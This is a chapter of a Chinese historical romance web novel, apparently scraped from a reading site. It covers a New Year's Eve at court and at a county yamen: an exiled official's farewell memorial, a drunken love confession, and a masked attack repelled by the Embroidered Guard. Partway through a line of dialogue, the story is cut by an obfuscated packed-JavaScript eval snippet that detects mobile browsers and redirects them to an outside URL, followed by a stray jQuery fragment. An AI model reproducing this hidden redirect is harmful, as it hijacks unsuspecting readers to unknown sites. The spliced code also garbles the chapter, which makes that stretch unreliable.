默认冷灰
24号文字
方正启体

51. 只只

作者:十月廿三本书字数:K更新时间:
    京师。


    今年算是太平年——外无敌夷相扰,内无激民群愤,虽然黄河发了一场大水,但钦差左督查御史治水有功,总算没有造成大患。


    今年是慜帝的大祥之年,“事死如事生”,于是百姓相传,一切乃慜帝在天之功,才止祸于始,庇佑万民。


    在殡天两年后,齐慜帝得了些许民心。


    少有的,除夕这晚,一向勤俭节约的今上举办了格外隆重的宫宴。民间取消了宵禁。稍晚,启正皇帝甚至登上城门,与民共同守夜跨年。烟花一直放到子时方罢,宝马香车,火树银花,彩灯将朱雀大街照得亮如白昼。许是受到天子之威的震慑,洋洋洒洒两日夜的大雪在这晚停住了。


    京师陷入了喜气洋洋里,一切显得那样繁荣昌盛。


    烟花还未结束,百姓仍在狂欢时,皇帝李稷悄悄地回了皇宫。


    他这一夜疲倦极了,明明知道国库赤字多年,内帑入不敷出,还要压下一切,粉饰太平,他立在城门上与民共庆,心里却在冷眼旁观。回到宫的路上,他身形微垮,全靠御辇的靠背支撑,此时此刻,只想能万事皆休地睡上一觉。


    一拐入通往承乾宫的甬道,随侍御辇的唐直抒便看到了远处承乾门下站着的人影。人影的身边恰好竖着一柄庭灯,灯光照亮了宫人堆在墙角的积雪,还有他正红色的官服与帽下露出的白发。老臣的头顶是明黄的琉璃瓦,在月光雪光与灯光下幽幽发光。他负着手,不言语地抬头望天,当听到动静后,眼神方转过来,有条不紊地理了理袖子,跪地行礼。


    “圣上,前面有人。好像是元辅,温阁老。”唐直抒说道。


    从前束继文还在时,温却疾任次辅,一直圆融内敛,鲜少出头。束继文去后,朝廷上有不少人担心他过于中庸,难当大任,他却当仁不让地挑起了大梁,撑住了儒林的半壁江山。


    毕生风雨走过,今年的温阁老,有杖国之年了吧。唐直抒想到。就在刚刚,这位老大人抬着头,身影那样孤寂,他会在看什么?想什么?


    李稷瞬间坐直了身子,在轿子上抬起右手,唐直抒横出拂尘,拦停抬轿的太监。


    “近前说话。”李稷说。声音不大,隔着北风,那头的温却疾没有听到。


    唐直抒小跑两步传话:“元辅大人,圣上让您平身,近前说话。”


    温却疾依言行事。


    皇帝威严地注视着他:“这么晚了,安臣不在家里守岁,跑到后宫做什么?”


    温却疾从袖袋里取出一奏章,躬身,将其高举过头顶。


    “圣上,老臣冒夜入宫,来送这个。”


    “这是什么?什么事等不到明天再说?”


    “回圣上,这是昨天从宁古塔送来的奏本。臣捂一刻,便负疚一刻,捂一天,便负疚一天,实在坐立难安,最后只能连夜而来,望圣上恕罪。”


    “宁古塔?建州女真的贺表?不不……这是谁的奏本?”


    “何舂。”


    年轻的皇帝伸出去的手蓦的一顿,他像是意识到了什么,缓缓地缩了回去。


    李稷没有再开口,温却疾也没有说话,死寂在这对君臣间弥漫开来。也不知过了多久,御辇里,华盖下,忽然传来一阵撕心裂肺的咳嗽,似有极淡的铁锈味自风中飘来。


    太监唐直抒吓得魂飞魄散,慌忙对温首辅说道:“元辅大人,圣上披肝沥胆,宵衣旰食,已经半个月没睡过囫囵觉了,您有什么事还是明日再说吧!”


    温却疾怎会理睬他一个阉人。


    唐直抒只得跪地,哀哀道:“圣上!龙体要紧啊!”


    “……接过来罢。”


    唐直抒“哎”了一声,站起来,自温却疾头顶接过那本薄薄的奏章,递进御辇里,皇帝却不接,只道:“安臣请回吧。”


    温却疾磕了个头。


    “朕会看的。元辅私闯后宫,事出有因,这罪今夜朕就不追究了,回去吧。”


    启正皇帝又咳了两声,无言地抬了抬手,御辇平稳地从跪地的首辅身边走过,没入了森严的殿宇中。


    洗漱完毕,李稷挥退下人,赤足批发,来到御案前。


    他先用铜挑子将烛光挑亮,然后想整理一下桌面,可惜这儿天天有奴婢收拾,实在没有动手的地方,他只能看着整洁的桌面,坐着发了一会儿呆,才展开奏章。


    “罪臣何舂谨叩圣主陛下……”


    李稷猛地合起手里的纸页,闭上眼,面色惨白,额角渗出些许汗液。过了一会了,他重新睁开眼,眼神幽冷坚定。


    “罪臣何舂谨叩圣主陛下:


    臣自束发受书,即慕圣贤之道。后以凡质,忝列朝班。蒙先帝圣恩,仰先辈之绝学,攥典章于兰台,继弘道以千秋。今卧冰榻,犹见金陵春色,乃悟岁月之迅,竟较融霜化水尤疾。忆昔玉阶奉笏,常怀报效之志,岂料倏忽之间,便化塞外枯骨。每借古人诗词,疏胸中块垒。竟使十年寒窗、半生襟抱,俱付与北风呜呼。


    冻骨将销,残魂南望。愿化塞雁,岁岁归朝。臣命如雪泥,消散有时,而忠君一念,固如北斗。惟念妻弱子幼,无人相顾,伏惟圣心垂悯。臣当结草衔环,永望南天。临表哽咽,辞不尽意。


    罪臣顿首绝笔。


    启正三年腊月初三于宁古塔。”


    “咳咳,咳咳咳……唐直抒。唐直抒!”


    中年太监步履匆忙地跑了进来,心神不宁,还在门槛上绊了一跤。


    “圣上,奴婢在。”


    “宣崔院判。”李稷坐在椅子上,嘴唇发紫,脸色苍白。顿了片刻,奴婢已经摸到门边了,他又加了句,“你亲自去,莫声张。还有,此行不许记入诊书脉案。”


    ……


    除夕此夜,留守赣榆县县衙的帮工衙门内外略微装扮一番——檐下挂红灯笼,门上贴对联,年味便有了。


    乔燕帮厨娘李嫂端上一盆卤肉,还要回厨房帮忙,被李嫂一把摁在椅子上:“菜都上齐了,厨房里没甚活计,高夫人您啊先入席,听说您能喝酒,小的且去温两壶酒来。”


    自抓了章承后,秋淼将县衙上下好一番清理,与章承有关的人俱关押起来,如此一来,普通的衙役见这阵仗,陆续几日都有人递交辞呈,最终,除夕这天只剩了三名捕快和几个仆从帮工。


    这几日,乔燕与他们基本熟悉了,至少碰了面能叫得上来。更别说乔燕生得貌美,说话轻柔,待人有礼,没两日衙门里的人都喜欢上了她。


    既是除夕,冯矩作主,让衙门里留下来的人,不分主仆,凑了一桌。李嫂兴奋不已,磨刀霍霍,一整天在厨房里挥斥方遒,做了一桌好菜。


    再来两壶好酒,神仙也不换。


    只是可惜,秋淼押送章承一干人犯回京,一去十日,至今未回——恐怕在京中过年了。


    这一晚上,又是行酒令又是投壶看灯,乔燕从未有过的开心。她好像回到了十岁前,没有规矩不讲尊卑。人就是人,是大人小孩,高的胖的矮的瘦的,普通的人,玩在一处,笑成一团,直到一个本地的帮工嚷嚷着要回家守岁,才散席。


    出了暖房,北风扑面而来,人的心还是火热的。冯矩跟在乔燕身后,不知道打哪儿摸出一副簇新的兔毛耳暖,给她戴上。


    乔燕摸了摸柔软的兔毛,憨态可掬地问:“这是什么?”


    “新年礼物。”


    乔燕瞪大眼:“遭了!我没有给你备礼物!”


    冯矩掰过她的脸,在她嘴上轻轻吻了一下,“这下有了。”


    乔燕的脸滚烫,不是害羞,而是喝酒喝的。她吓得“蹬蹬”后退两步,捂住嘴,四下张望,眼里满是惊慌失措,分外可爱。


    太可爱了……冯矩实在是没有不笑的理由:“没有人了,他们早就走了。我送你回房间,只只。”


    乔燕木愣愣地,一牵就走。


    “你,你刚喊我什么?”


    “很久之前,我听你四哥说的,你有个乳名,‘只只’,在江南有些方言里,是小雀的意思。”


    乔燕眼睛突然红了,泪珠子一颗颗地滚下脸颊。


    冯矩慌了,连忙用衣袖帮她擦眼泪,“怎么了这是……我不叫了,你别哭了。我再也不叫了,好不好。”


    眼泪越擦越多,乔燕哭得上气不接下气:“阿娘走后,再,再也没人喊过我,喊过我这个名字了。”


    冯矩一下子便知,她口中的“阿娘”不是乔二夫人,而是乔府的姨娘。她去到乔府后,多了一个“母亲”和一个“姨娘”,再也没有“阿娘”。这么多年,“阿娘”只能藏在心里,等到喝了酒,才能借着醉意思念片刻。


    “冯子规


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116334|193889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”乔燕一把擦干净眼泪,突然大声宣布,“我好喜欢你!我很久之前,就好喜欢你了,我好想嫁给你!”


    这一番醉醺醺的表白,吓得冯矩心脏都要跳出来,下意识环顾四周。


    “别看了,人都走了……”乔燕喃喃地贴近他,踮脚亲了过去。


    可她实在高估醉酒之人的平衡,这一下不仅没亲到,整个人往前扑倒,冯矩手忙脚乱地捞住她,将人环在怀里,实在哭笑不得。


    好在房间已经近在眼前。


    乔燕眼皮开始黏合,像是找到靠山一样,整个人都赖在了他的身上。他索性将人打横抱回了房间,放到床上。


    厨房的李嫂也回家守岁了,不过她走之前煮了一锅醒酒汤。冯矩舀了一碗,再回到房间时,乔燕已经沉沉睡去,唇角微翘,如坠美梦,怎么都叫不醒。


    “……罢了,睡着也好。”


    冯矩凝望了片刻,放下碗,给她盖好被子,拨旺火盆,吹熄蜡烛,掩门而出。


    对有些人来说,这注定是个不眠之夜。


    赣榆县有个不成文的习俗,除夕这夜,一县之长要在县衙前厅点火守岁,百姓们会来跨火盆,在父母官的祝福下烧去往年霉运,迎来新的一年。


    今年县衙的长官被一网打尽,当初这事做得雷厉风行,还有许多百姓不知情,此刻就围在县衙外头等着。冯矩怎好让他们苦等,只好打开大门,在留下来的两个仆从的帮助下点了一个火盆。仆从往里面扔了一把秸秆,火苗顿时蹿出三丈高。“哦——!!好!!”百姓一阵喝彩。


    “大人!这位大人老爷!”


    人群中挤出一个头发花白的阿婆,她穿着打补丁的衣服,手臂上挎着竹篮,篮子上盖着红布,里头鼓鼓囊囊不知道放了什么。


    她好不容易挤到人群前头,却不跨火盆,反而凑到冯矩跟前,睁着昏花老眼,似乎想辨认一番。


    “这位大娘,怎么了?”


    人声嘈杂,阿婆扯着嗓门喊:“哎唷,您不是县令大老爷啊!”


    “我不是。您有什么事吗,我可以做主。”


    “我,我找薛师爷!等了好几天没等到他。”阿婆乐呵呵的,褪下胳膊上的篮子一把塞到冯矩手里,“他借老婆子我的钱可救了我孙子大命啦!那小子再过两天就完全好了,到时候我领他来给薛师爷磕头!大人啊,您认识薛师爷吧,那可是个大好人啊,街上多少乡亲都受过先生的恩,这一篮子鸡蛋是我们凑的,帮我捎给他,我就不带回去了,怪沉的。”


    冯矩猝不及防地被塞了一篮子鸡蛋,心似也被砸了一下。他欲言又止。


    就在这时!说时迟,那时快,一道寒芒劈了过来!


    “当心!”


    数十个蒙面人从墙头,从屋顶,从人群里骤然出现。


    人群哄然炸响,乱成一团,不知谁踢翻了火盆,撩到了谁的衣摆,那人吓得在地上打滚,才把火苗压下去,却见好几条腿踩了上来。


    “啊——!!!”


    电光火石间,冯矩将阿婆一推,手臂将好露在刀风之下。持刀的蒙面人冷笑一声,眼里爆发出得意之色。


    避无可避之时,眼见手臂不保,刀下的冯钦差却冷眼把他看着,不见丝毫惧色。


    蒙面人对上他的眼睛,心里一动,一瞬念头闪过……


    铛!


    一柄细长的唐刀横空而出,将长刀稳稳拦住。与此同时,一群身穿粗布短打的人跟着涌出,与蒙面人战作一团。这突然出现救下冯矩的人戴着斗笠,蒙面人冷哼一声:“哪来的鼠辈,缩头缩尾,吃我一刀!”


    斗笠人大叫:“大哥,你哪来的脸说我。”手上却丝毫不停,挡下一招,刀锋一挑,转守为攻。


    蒙面人应得吃力,喝了一声,顿时有两个弟兄跳出战圈,挥刀助他。斗笠人打一个轻松,打两个勉强可以应付,打三个却是应接不暇,立马落了下风。他眼观六路耳听八方,生怕漏了一招人头落地。只听得耳后呼啸风声,他一低头,斗笠被刀尖挑落,露出一张吊儿郎当的脸。


    “锦衣卫?”蒙面人眼神大变,手下失了章法,“你们不是押送章承回京了?!”


    秋淼冲他阴森森一笑,抓住机会,一刀捅进他的肩膀:“哦,这个啊,说来话长。且等到大牢里老子和你细细道来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)